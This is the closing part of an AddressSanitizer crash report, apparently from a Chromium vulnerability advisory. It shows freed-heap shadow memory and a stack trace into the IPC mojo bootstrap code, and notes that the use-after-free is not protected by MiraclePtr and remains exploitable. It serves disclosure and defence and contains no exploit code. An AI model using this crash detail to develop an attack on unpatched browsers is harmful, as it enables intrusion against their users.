  0x7dd4f3337a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==1757573==ADDITIONAL INFO

==1757573==Note: Please include this section with the ASan report.
Task trace:
    #0 0x7fb55dfdada2 in IPC::ChannelAssociatedGroupController::Accept(mojo::Message*) ipc/ipc_mojo_bootstrap.cc:1118:15
    #1 0x7fb57215688a in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:103:13


MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==1757573==END OF ADDITIONAL INFO

==1757573==ABORTING

References

Credit

c6eed09fc8b174b0f3eebedcceb1e792

View on issue tracker